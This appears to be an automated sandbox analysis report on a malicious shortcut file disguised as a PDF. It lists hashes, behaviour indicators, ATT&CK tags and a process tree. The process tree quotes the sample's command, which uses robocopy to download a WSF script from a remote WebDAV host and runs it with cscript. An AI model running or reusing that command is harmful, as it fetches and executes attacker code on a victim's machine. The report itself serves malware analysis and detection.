62fce3f773ec3911fe1a20d3aca1fced6c1a5afa4d8f58711e49232b7dc9c111

Analysis

max time kernel
120s
max time network
105s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
28/06/2025, 14:39

Target
RE_003860944821.pdf.lnk
Size 1KB
Sample250628-r1jebasry2
SHA256 62fce3f773ec3911fe1a20d3aca1fced6c1a5afa4d8f58711e49232b7dc9c111
MD5 fc793d00954c5b1bb2b4b5f479de5f9b
SHA1 d3d84f3f3cb5d32e5fe6e94ba0de84123a9d0c15
SHA512 fa6a95a358e2b81574fcc6b9d04c6bd6076c0f90ce15bae45c524ced6255d68f633136536cbc0bb7ec352d7fc6cb293f3b768bbce9ff5d25f37817ed4baae8b9
MD5 SHA1 SHA512

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeBackupPrivilege	3048	Robocopy.exe
Token: SeRestorePrivilege	3048	Robocopy.exe
Token: SeSecurityPrivilege	3048	Robocopy.exe
Token: SeTakeOwnershipPrivilege	3048	Robocopy.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 2532	2692	cmd.exe	79
PID 2692 wrote to memory of 2532	2692	cmd.exe	79
PID 2532 wrote to memory of 3048	2532	cmd.exe	80
PID 2532 wrote to memory of 3048	2532	cmd.exe	80

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\RE_003860944821.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c robocopy "\\1e891d5c6eec07aedb0b90af3b0d5bfa.loophole.site@SSL\DavWWWRoot\RE_26WSF" C:\Users\Admin\AppData\Local\Temp Jun26.wsf /ns /nc /nfl /ndl >nul & start /min "" cscript.exe //nologo "C:\Users\Admin\AppData\Local\Temp\Jun26.wsf"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\system32\Robocopy.exe
    robocopy "\\1e891d5c6eec07aedb0b90af3b0d5bfa.loophole.site@SSL\DavWWWRoot\RE_26WSF" C:\Users\Admin\AppData\Local\Temp Jun26.wsf /ns /nc /nfl /ndl
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3048

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact